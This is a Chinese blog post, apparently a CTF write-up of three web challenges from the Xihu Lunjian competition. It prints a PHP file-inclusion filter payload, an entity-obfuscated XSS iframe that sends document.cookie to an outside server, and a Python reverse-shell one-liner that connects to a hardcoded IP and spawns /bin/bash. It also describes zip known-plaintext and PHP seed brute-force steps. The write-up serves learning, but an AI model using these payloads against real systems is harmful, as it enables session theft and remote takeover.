美文网首页
2019-04-11

2019-04-11

作者: glotozz | 来源:发表于2019-04-27 16:05 被阅读0次

西湖论剑 -web

1、babyt3

页面中出现include $_GET['file'],查看源代码,在最后发现<!--hint: ZGlyLnBocA== -->

base64解码为dir.php

先利用文件包含读取index.php和dir.php文件

构造    ?file=php://filter/read=convert.base64-encode/resource=index.php

得到index.php

得到dir.php

dir.php可以读取文件名、目录

看到flag,再利用index.php读取flag文件即可

构造注意路径/  ?file=php://filter/read=convert.base64-encode/resource=/ffffflag_1s_Her4

2、breakout

参考wp:https://www.jianshu.com/p/13025b096f23

xss

<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:window.location.href='http://xxxx:8000/?a='+document.cookie"

可能是服务器的原因,我目前只能弹到自己的cookie

得到管理员cookie后,

反弹shell

先在自己的服务器

$ nc -lvvp 8000

在命令执行处

command=python -c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.25.89.91",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1

反弹shell成功后,flag.txt在根目录下。

3、猜猜flag是什么

方法一:扫描发现ds_store泄露

ds_store还原得到

方法二:

发现存在xss过滤了<>

于是想到url二次编码过滤,成功给了提示

经过各种尝试,发现直接加在url后访问即可。

继续扫描目录,http://61.164.47.198:10002/e10adc3949ba59abbe56e057f20f883e/

访问github下载压缩包,

感觉index.php和lengzhu.png是让我们用来明文攻击的。。

使用明文攻击,

得到code,

seed.txt是php伪随机数爆破,

执行:time ./php_mt_seed 2005214034 后面发现code会随时间刷新,所以下面不一样了

访问http://61.164.47.198:10002/flag/701439.txt

得到flag

相关文章

网友评论

      本文标题:2019-04-11

      本文链接:https://www.haomeiwen.com/subject/hnptwqtx.html